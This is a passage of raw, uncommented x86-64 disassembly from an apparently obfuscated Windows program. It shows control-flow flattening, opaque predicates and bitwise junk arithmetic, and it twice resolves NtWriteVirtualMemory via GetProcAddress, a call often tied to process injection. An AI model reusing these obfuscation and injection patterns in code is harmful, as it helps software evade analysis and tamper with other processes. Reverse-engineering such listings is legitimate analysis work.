or bl, cl
mov edx, r9d
xor dl, bl
mov ecx, edx
and cl, r9b
and dl, bl
mov ebx, ecx
xor bl, 1
xor cl, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, cl
or r10b, r8b
xor al, r9b
xor al, 1
mov ecx, r10d
xor cl, al
or al, r10b
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
xor dl, 1
or dl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xaaaff20e
mov ebp, 0xbd4967de
cmovne ecx, ebp
test dl, 1
cmovne ecx, ebp
not al
test al, 1
mov eax, 0xaaaff20e
jmp 0x1400cc8d4
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rdx - 1]
imul ebp, edx
mov ecx, ebp
not ecx
mov ebx, ecx
and ebx, 0xe6054b42
mov edx, ebp
and edx, 0x19fab4bd
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x19fab4bc
and edx, 0xe6054b43
or edx, ebx
and ecx, 0x5204eac2
and ebp, 0xadfb153d
or ebp, ecx
mov ecx, ebp
xor ecx, 0x4400131
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0xbbbf964e
and edx, 0x444069b1
or edx, edi
xor ebp, 0x12048242
and ebp, 0xbbbf964e
and ecx, 0x444069b1
or ecx, ebp
xor ecx, edx
xor ebx, ecx
test ebx, ecx
sete r8b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor r8b, al
xor al, dl
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
xor bl, 1
mov ecx, r8d
and cl, bl
xor bl, r8b
or bl, cl
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
xor cl, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
and dl, al
xor al, 1
xor cl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
or cl, dl
mov eax, ebx
xor al, cl
test cl, cl
mov ecx, 0x805bddb0
mov ebp, 0x3f6521dd
cmovne ecx, ebp
test bl, bl
mov edx, 0x805bddb0
jmp 0x1400cb98f
mov ecx, 0x26ec9f9f
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0xb3162456
mov edx, edi
and edx, 0x4ce9dba8
or edx, ebp
xor edx, 0x4ce9dba8
mov ebx, edi
and ebx, 1
or ebx, edx
mov edx, ebx
not edx
mov ebp, ebx
and ebp, 0xf27e6bad
and edx, 0xd819452
or edx, ebp
or ebx, edi
and edi, 0xf27e6bad
and ecx, 0xd819452
or ecx, edi
xor ecx, edx
not ebx
or ebx, ecx
cmp ebx, 0xffffffff
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
and cl, dl
and dl, r8b
xor al, r8b
or al, dl
xor al, 1
and bl, r8b
or cl, bl
xor cl, al
mov edx, ecx
not dl
and dl, al
mov eax, edx
xor al, cl
mov eax, 0x9e69c9a7
mov ebp, 0x8f0445f
jmp 0x1400c875f
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x43084258
and edx, ecx
and ecx, 0xbcf7bda7
or ecx, ebp
mov ebp, ecx
xor ebp, 0x94661020
xor ecx, 0x43084258
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x6999ed97
and ebp, 0x96661268
or ebp, edi
or ecx, ebx
and ebx, 0x6999ed97
and edx, 0x96661268
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov esi, ecx
not esi
mov ebp, ecx
or ebp, 0xbffe131b
mov edi, ebp
not edi
mov edx, esi
or edx, 0x4001ece4
mov ebx, edx
not ebx
and ebp, 0x862b95e1
and edi, 0x40006804
or edi, ebp
and edx, 0x862b95e1
and ebx, 0x39d4021a
or ebx, edx
xor ebx, edi
mov edx, ebx
not edx
and edx, 0x3c91dc56
and ebx, 0xc36e23a9
or ebx, edx
xor ebx, 0x836fcf4c
and esi, 1
xor ecx, 0xfffffffe
or ecx, esi
not ecx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x4cead56d
and edx, 0xb3152a92
or edx, ecx
mov ecx, edx
xor ecx, 0x48ca9548
xor edx, 0x91110080
and edx, 0x953140a5
and ecx, 0x6acebf5a
or ecx, edx
xor ecx, 0x6acebf5a
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, edx
and cl, al
or dl, bl
and bl, r8b
or bl, cl
mov r9d, ebx
xor r9b, al
and r9b, bl
xor dl, 1
or al, r8b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, r9d
xor dl, 1
and dl, al
xor al, 1
mov ecx, r9d
xor cl, al
and cl, r9b
and al, r9b
or al, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x65bdd0ef
mov ebp, 0x1c680ec3
cmovne edx, ebp
test al, 1
mov eax, edx
cmovne eax, ebp
test cl, cl
cmove eax, edx
jmp 0x1400cbd13
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x86d8469b
and edx, ecx
and ecx, 0x7927b964
or ecx, ebp
xor ecx, 0x7927b964
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xb238ce84
and ecx, 0x4dc7317b
or ecx, edx
xor ecx, 0x4dc7317a
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov ebp, ecx
not ebp
mov ebx, ebp
or ebx, 0x23d77500
mov edx, ebx
not edx
or ecx, 0x1c28888e
and ecx, 0x3d2acd8e
and ebp, 0x2d53000
or ebp, ecx
and ebx, 0x3d2acd8e
and edx, 0xc0000271
or edx, ebx
xor edx, ebp
mov ecx, edx
not ecx
and ecx, 0x96880993
and edx, 0x6977f66c
or edx, ecx
mov ecx, edx
xor ecx, 0x48a00268
xor edx, 0xa4430082
and ecx, 0x59bc7e79
and edx, 0xa6438186
or edx, ecx
mov ecx, edx
xor ecx, 0x8843250
xor edx, 0x82000182
and edx, 0xd3384dab
and ecx, 0x2cc7b254
or ecx, edx
xor ecx, 0x2cc7b254
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, edx
and cl, al
or dl, bl
and bl, r8b
or bl, cl
xor bl, 1
or bl, al
xor dl, 1
or al, r8b
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, ebx
xor cl, al
xor al, 1
or al, bl
xor cl, 1
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xac93a094
mov ebp, 0xf5accc2a
cmovne edx, ebp
test cl, 1
mov ecx, edx
mov ebp, 0xac93a094
jmp 0x1400c9a1d
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x140265728]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ecx, ebx
and ecx, 1
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x7ffd044a
and ecx, 0x8002fbb5
or ecx, ebp
mov ebp, ecx
xor ebp, 0x23b10
xor ecx, 0x7ffd044a
mov edi, ecx
and edi, 0xc869c4a5
and ebp, 0x37963b5a
or ebp, edi
mov edi, dword [0x140265724]
or ecx, ebx
and ebx, 0xc869c4a5
and edx, 0x37963b5a
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb4116a2
and ecx, 0xf4bee95d
or ecx, edx
xor ecx, 0xf4bee95d
setne r8b
sete r9b
cmp edi, 0xa
setl r10b
cmp edi, 9
setg cl
mov esi, ecx
xor sil, r9b
xor sil, 1
or sil, cl
or r10b, r8b
mov r11d, esi
xor r11b, 1
or cl, r9b
mov r8d, ecx
xor r8b, r10b
or cl, r10b
xor cl, 1
or cl, r8b
mov ebx, esi
and bl, r11b
xor bl, 1
mov r8d, r11d
xor r8b, bl
or bl, r11b
xor bl, 1
or bl, r8b
mov edx, ebx
and bl, cl
xor cl, 1
xor dl, 1
and dl, cl
or bl, dl
mov edx, esi
and dl, cl
xor cl, sil
or cl, dl
mov edx, ecx
xor dl, bl
test cl, 1
mov ecx, 0x69d03e4c
mov ebp, 0x37452e29
cmovne ecx, ebp
test bl, 1
cmove ecx, ebp
mov qword [rsp + 0x38], rax
test dl, 1
mov eax, 0x69d03e4c
jmp 0x1400cc8d4
mov edx, dword [0x140265728]
mov ecx, dword [0x140265724]
lea eax, [rdx - 1]
imul eax, edx
mov ebp, eax
not ebp
mov ebx, ebp
and ebx, 0xfffffffe
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
and ebp, 0x5648d690
and eax, 0xa9b7296f
or eax, ebp
mov ebp, eax
xor ebp, 0xa9070820
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0x4b0334f
and edx, 0xfb4fccb0
or edx, edi
xor eax, 0x4001200
and eax, 0x4b0334f
and ebp, 0xfb4fccb0
or ebp, eax
xor ebp, edx
xor ebx, ebp
test ebx, ebp
sete r8b
setne r9b
cmp ecx, 9
setg r11b
cmp ecx, 0xa
setl r10b
mov ecx, r9d
xor cl, r8b
and cl, r9b
mov ebx, ecx
xor bl, 1
and cl, bl
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
xor cl, r10b
and r8b, r11b
and r10b, r9b
or r10b, r8b
mov eax, r11d
xor al, r9b
or r11b, r9b
xor r11b, 1
or r11b, al
xor r11b, 1
mov eax, r10d
and al, r11b
xor r11b, r10b
or r11b, al
mov r8d, r11d
xor r8b, 1
mov ebx, ecx
mov eax, r11d
and al, r8b
mov r9d, ecx
mov r10d, r11d
and r10b, al
xor al, r11b
xor r11b, cl
xor cl, 1
and bl, cl
xor r9b, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, r9b
or al, r10b
mov edx, ebx
xor dl, 1
and dl, al
xor al, 1
and al, bl
or al, dl
or r8b, cl
xor r8b, 1
or r8b, r11b
mov ecx, r8d
xor cl, al
test cl, 1
mov edx, 0xa7877fff
mov ecx, 0xcd9cce98
cmovne edx, ecx
test r8b, 1
mov ecx, 0xa7877fff
jmp 0x1400cbe5f
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ebx, ebp
not ebx
mov ecx, ebx
and ecx, 0x73780ab4
mov edx, ebp
and edx, 0x8c87f54a
or edx, ecx
mov edi, edx
xor edi, 0x84040442
xor edx, 0x3380034
mov ecx, ebp
or ecx, 0xbbbf13c
and edx, 0xbbbf13c
and edi, 0xf4440ec2
or edi, edx
and ecx, 0xbbbf13d
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x42d01410
and ecx, 0xbd2febef
or ecx, edx
xor ecx, 0xbd2febef
and ebx, 0xbbccaab4
and ebp, 0x4433554b
or ebp, ebx
xor ebp, 0x4433554b
mov edx, ecx
and edx, ebp
xor ebp, ecx
or ebp, edx
cmp ebp, 0xffffffff
setne dl
sete r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov ebx, eax
xor bl, r8b
or dl, al
or al, r8b
xor al, 1
or al, bl
mov r9d, eax
xor r9b, 1
xor dl, 1
or cl, r8b
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
or cl, r9b
xor r9b, dl
xor dl, al
xor cl, 1
or cl, dl
mov eax, r9d
xor al, cl
test cl, 1
mov ecx, 0xd16076aa
mov edx, 0x30203400
cmovne ecx, edx
test r9b, 1
cmovne ecx, edx
not al
test al, 1
mov eax, 0xd16076aa
jmp 0x1400cc8d4
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x8bbae90e
and edx, 0x744516f1
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x77cb43b2
and edx, 0x8834bc4d
or edx, ecx
mov ebp, edx
xor ebp, 0x30a5100
xor edx, 0xfc71aabc
mov ecx, edx
or ecx, 1
mov ebx, ecx
not ebx
and edx, 0x4cb4867b
and ebp, 0xb34b7984
or ebp, edx
mov edx, ebp
xor edx, 0x83486080
xor ebp, 0x4cb4867a
mov edi, ecx
and edi, 0x38971d45
and ebx, 0xc768e2ba
or ebx, edi
or ecx, ebp
and ebp, 0x38971d45
and edx, 0xc768e2ba
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg dil
mov r11d, edi
xor r11b, r10b
and r11b, dil
mov edx, r9d
xor dl, r8b
and dl, r9b
mov eax, edx
xor al, 1
mov ebx, edx
and bl, al
mov esi, ebx
and sil, dl
xor bl, dl
or bl, sil
or al, dl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
xor al, 1
mov edx, eax
or dl, r11b
xor dl, 1
xor al, r11b
not al
and al, r11b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
or r10b, r8b
xor r10b, 1
xor dil, r9b
mov edx, r10d
and dl, dil
xor dil, r10b
or dil, dl
mov ecx, edi
xor cl, 1
mov edx, ecx
and dl, dil
xor cl, dl
xor dl, 1
or dl, dil
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
xor dl, al
xor al, 1
or al, cl
mov ebx, eax
xor bl, dl
test dl, 1
mov ecx, 0x4484d3d4
mov edx, 0xc0dbd4d9
cmovne ecx, edx
test al, 1
mov eax, 0x4484d3d4
jmp 0x1400cc11c
mov ecx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea edi, [rcx - 1]
imul edi, ecx
mov ebx, edi
not ebx
mov ecx, ebx
and ecx, 0xba78c0de
mov edx, edi
and edx, 0x45873f21
or edx, ecx
mov ecx, edx
xor ecx, 0x21101
xor edx, 0xa704014
mov ebp, edi
xor ebp, 0xb725735
and ebp, edi
or edx, 0xf48da8ca
mov esi, ebp
not esi
mov eax, edx
and eax, 0x45ad8e68
and ecx, 0xa525115
or ecx, eax
or edx, esi
and esi, 0x45ad8e68
and ebp, 0xba527197
or ebp, esi
xor ebp, ecx
not edx
or edx, ebp
mov eax, edx
not eax
and eax, 0x32c2e064
and edx, 0xcd3d1f9b
or edx, eax
mov eax, edx
xor eax, 0x82080881
xor edx, 0x39b0b750
mov ecx, edx
and ecx, 0x6557732e
and eax, 0x9aa88cd1
or eax, ecx
and edi, 0x6557732e
and ebx, 0x9aa88cd1
or ebx, edi
xor ebx, eax
xor edx, ebx
test edx, ebx
sete cl
setne bl
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl r8b
mov r10d, r8d
xor r10b, bl
xor r10b, 1
or r10b, r9b
mov edx, r10d
xor dl, 1
or bl, r8b
xor bl, 1
or cl, r9b
xor cl, 1
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
mov ebx, ecx
xor bl, 1
and dl, r10b
and cl, bl
mov r8d, r10d
and r8b, dl
xor dl, r10b
or dl, r8b
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
mov eax, edx
xor al, 1
and al, cl
xor cl, 1
and cl, dl
or cl, al
mov eax, r10d
and al, bl
xor bl, r10b
or bl, al
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x3f1cfda9
mov edx, 0x898723d8
cmovne eax, edx
test bl, 1
mov edx, 0x3f1cfda9
jmp 0x1400ca11b
mov ecx, 0xae3592c4
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, 0x859a1089
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, 0xc76f20f0
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
and ebp, 0xd6da29b3
and edx, 0x2925d64c
or edx, ebp
mov ebp, edx
xor ebp, 0x101220a0
xor edx, 0x2925d64c
mov ecx, edx
or ecx, 1
mov ebx, ecx
not ebx
and edx, 0xc6e80917
and ebp, 0x3917f6e8
or ebp, edx
mov edx, ebp
xor edx, 0x381274e8
xor ebp, 0xc6e80916
mov edi, ecx
and edi, 0x83858a03
and ebx, 0x7c7a75fc
or ebx, edi
or ecx, ebp
and ebp, 0x83858a03
and edx, 0x7c7a75fc
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
setne r8b
sete r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg r11b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov eax, ebx
xor al, 1
or bl, al
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov eax, r11d
xor al, bl
xor al, 1
and al, bl
or bl, r11b
mov ecx, ebx
xor cl, al
xor al, 1
xor cl, 1
or al, bl
xor al, 1
or al, cl
and r8b, r10b
or r10b, r9b
xor r10b, 1
and r11b, r9b
or r11b, r8b
mov ecx, r10d
and cl, r11b
xor r11b, r10b
or r11b, cl
mov r8d, r11d
xor r8b, 1
mov ebx, eax
xor bl, 1
mov ecx, eax
and cl, bl
mov edx, r8d
and dl, r11b
mov r9d, ecx
and r9b, al
xor cl, al
or cl, r9b
mov eax, edx
and al, r8b
xor dl, r8b
or dl, al
mov eax, ecx
xor al, 1
and al, dl
xor dl, 1
and dl, cl
or dl, al
mov eax, ebx
and al, r11b
xor bl, r11b
or bl, al
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0xc76f20f0
mov ecx, 0xb14be921
cmovne eax, ecx
test bl, 1
mov ecx, 0xc76f20f0
jmp 0x1400cc68c
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xb7051ff4
and edx, ecx
or ecx, 0x48fae00b
mov ebp, ecx
not ebp
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x9bd678a9
and ebp, 0x24010754
or ebp, edi
or ecx, ebx
and ebx, 0x9bd678a9
and edx, 0x64298756
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xd55583f
and ecx, 0xf2aaa7c0
or ecx, edx
mov edx, ecx
xor edx, 0x45afb834
xor ecx, 0x80400109
and ecx, 0xc143a109
mov ebp, edx
and ebp, 0x3ebc5ef6
or ebp, ecx
mov ecx, ebp
xor ecx, 0x3ebc5ef6
mov ebx, ebp
xor ebx, 0x98dc258b
and ebx, ecx
and edx, 0xa6607b7d
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xa6607b7c
and edx, 0x599f8483
or edx, ebx
xor ebp, 9
and ebp, 0x2aac0c1f
mov ebx, ecx
and ebx, 0xd553f3e0
or ebx, ebp
xor ebx, 0x2aac0c1e
and ecx, 1
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0xa63bb1e2
and ecx, 0x59c44e1d
or ecx, ebp
xor ecx, 0x59c44e1d
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xc1801100
mov ebp, ecx
and ebp, 0xc204c94
or ebp, edx
xor ebp, 0xc204c94
and ecx, 0x325fa26b
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x325fa26b
and ecx, 0xcda05d94
or ecx, edx
setne r8b
sete r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov eax, ecx
xor al, r9b
mov edx, eax
xor dl, cl
and dl, al
and bl, r8b
and cl, r9b
or cl, bl
mov ebx, ecx
xor bl, 1
mov eax, ecx
and al, bl
mov r8d, eax
and r8b, cl
xor al, cl
or al, r8b
mov ecx, eax
xor al, 1
and al, dl
xor dl, 1
and cl, dl
or al, cl
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0x4e7f04d9
cmovne edx, r12d
test bl, bl
mov ecx, 0x4e7f04d9
cmovne ecx, edx
jmp 0x1400cb860
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0xf77c741d
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xe05431db
and ecx, edx
and edx, 0x1fabce24
or edx, ebp
xor edx, 0x1fabce24
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
mov esi, edx
not esi
mov ebp, edx
or ebp, 0xb57b3d04
mov edi, ebp
not edi
mov ecx, esi
or ecx, 0x4a84c2fb
mov ebx, ecx
not ebx
and ebp, 0x88fcf70b
and edi, 0x420000f0
or edi, ebp
and ecx, 0x88fcf70b
and ebx, 0x35030804
or ebx, ecx
xor ebx, edi
mov ecx, ebx
not ecx
and ecx, 0xb57b3d05
and ebx, 0x4a84c2fa
or ebx, ecx
and edx, 0x407f1195
mov ecx, esi
and ecx, 0xbf80ee6a
or ecx, edx
xor ecx, 0x407f1194
and esi, 1
or esi, ecx
mov ecx, esi
not ecx
mov edx, ebx
not edx
mov ebp, edx
and ebp, 0x9a218761
and ebx, 0x65de789e
or ebx, ebp
or edx, esi
and esi, 0x9a218761
and ecx, 0x65de789e
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x8bf7402b
and edx, 0x7408bfd4
or edx, ebp
xor edx, 0x7408bfd4
or edx, ecx
cmp edx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
and dl, cl
and bl, r8b
or bl, dl
mov eax, ebx
xor al, cl
and al, bl
mov edx, ecx
xor dl, r8b
not dl
and dl, r8b
or cl, r8b
xor dl, 1
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ebx, eax
and al, dl
xor dl, 1
xor bl, 1
and bl, dl
or al, bl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0x1556ceda
mov ecx, 0xf741ffed
cmovne ebp, ecx
test dl, 1
mov ecx, 0x1556ceda
cmovne ecx, ebp
jmp 0x1400ca5ca
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
xor edx, 0x47cd9012
and edx, ebp
not ebp
and ebp, 0x47cd9012
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xdafc68a6
and edx, 0x25039759
or edx, ecx
mov ebp, edx
xor ebp, 0x60c60243
xor edx, 0x9d31f8b4
mov ecx, edx
or ecx, 1
mov ebx, ecx
not ebx
and edx, 0x8e290528
and ebp, 0x71d6fad7
or ebp, edx
mov edx, ebp
xor edx, 0x40c6a056
xor ebp, 0x8e290529
mov edi, ecx
and edi, 0x33305b89
and ebx, 0xcccfa476
or ebx, edi
or ecx, ebp
and ebp, 0x33305b89
and edx, 0xcccfa476
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xc5066949
and ebp, 0x3af996b6
or ebp, edi
or ecx, ebx
and ebx, 0xc5066949
and edx, 0x3af996b6
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xfda50367
and edx, 0x25afc98
or edx, ecx
mov ecx, edx
xor ecx, 0x1000263
xor edx, 0x8c400
and edx, 0xfcadc504
and ecx, 0x3523afb
or ecx, edx
xor ecx, 0x3523afb
sete r8b
setne r9b
cmp eax, 9
setg dl
cmp eax, 0xa
setl r11b
mov esi, r9d
mov r10d, r9d
mov ebx, edx
or dl, r9b
or r9b, r11b
xor r9b, 1
xor sil, r11b
not sil
and sil, r11b
mov ecx, r9d
and cl, sil
xor sil, r9b
or sil, cl
and r10b, r11b
and bl, r8b
or bl, r10b
xor r11b, r8b
xor dl, 1
or dl, r11b
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov r8d, ecx
xor r8b, 1
mov ebx, esi
xor bl, 1
mov edx, ebx
and dl, sil
xor bl, r8b
and r8b, cl
xor dl, 1
mov eax, esi
xor al, dl
or dl, sil
xor dl, 1
or dl, al
xor r8b, 1
mov eax, ecx
xor al, r8b
or r8b, cl
xor r8b, 1
or r8b, al
mov eax, edx
xor al, 1
and al, r8b
xor r8b, 1
and r8b, dl
or r8b, al
or cl, sil
xor cl, 1
or cl, bl
mov eax, ecx
xor al, r8b
test cl, 1
mov ecx, 0x5461816e
mov edx, 0xf741ffed
cmovne ecx, edx
test r8b, 1
cmove ecx, edx
test al, 1
mov eax, 0x5461816e
jmp 0x1400cc8d4
mov ecx, 0x55faf1d0
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, 0x8b1b4eb1
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, 0x9786faae
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov edx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0xa2432d0e
mov edx, ebp
and edx, 0x5dbcd2f1
or edx, ebx
mov ebx, edx
xor ebx, 0x10a0d060
xor edx, 0xa2432d0e
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, ebp
or edx, 1
mov esi, ecx
not esi
mov eax, edx
and eax, 0x6f5f2690
and ebx, 0x90a0d96e
or ebx, eax
or edx, esi
and esi, 0x6f5f2690
and ecx, 0x90a0d96f
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xf094ef8e
and edx, 0xf6b1071
or edx, eax
xor edx, 0xf6b1071
and edi, 0x794ae73b
and ebp, 0x86b518c4
or ebp, edi
xor ebp, 0x86b518c4
mov eax, edx
and eax, ebp
xor ebp, edx
or ebp, eax
cmp ebp, 0xffffffff
setne dl
sete r9b
cmp r8d, 9
setg al
cmp r8d, 0xa
setl bl
mov ecx, ebx
xor cl, r9b
or dl, bl
or bl, r9b
xor bl, 1
or bl, cl
xor dl, 1
or al, r9b
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
mov r8d, edx
and r8b, al
xor dl, al
or dl, r8b
xor dl, bl
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0xa05ea654
mov ebp, 0x4484d3d4
cmovne ecx, ebp
test dl, 1
cmovne ecx, ebp
not al
test al, 1
mov eax, 0xa05ea654
jmp 0x1400cc8d4
mov ecx, dword [0x140265728]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xbe8171d7
and ecx, eax
and eax, 0x417e8e28
or eax, edx
mov edx, eax
xor edx, 0x6e0220
xor eax, 0xbe8171d7
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0xd990dcd9
and edx, 0x266f2326
or edx, ebx
or eax, ebp
and ebp, 0xd990dcd9
and ecx, 0x266f2326
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 1
and ecx, eax
mov edx, eax
not edx
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x793b912b
and ecx, 0x86c46ed4
or ecx, eax
mov eax, ecx
xor eax, 0x49291002
xor ecx, 0x86c46ed4
mov edx, ecx
and edx, 0x3216e9fd
and eax, 0xcde91602
or eax, edx
xor eax, 0x3216e9fd
xor ecx, eax
test ecx, eax
setne al
cmp dword [0x140265724], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, 1
mov ebx, ecx
not bl
and bl, al
and dl, cl
or dl, bl
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x3d7a943b
mov ebp, 0xe5d42317
cmovne eax, ebp
test dl, dl
cmove eax, ebp
not cl
test cl, 1
mov ecx, 0x3d7a943b
jmp 0x1400cbd10
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
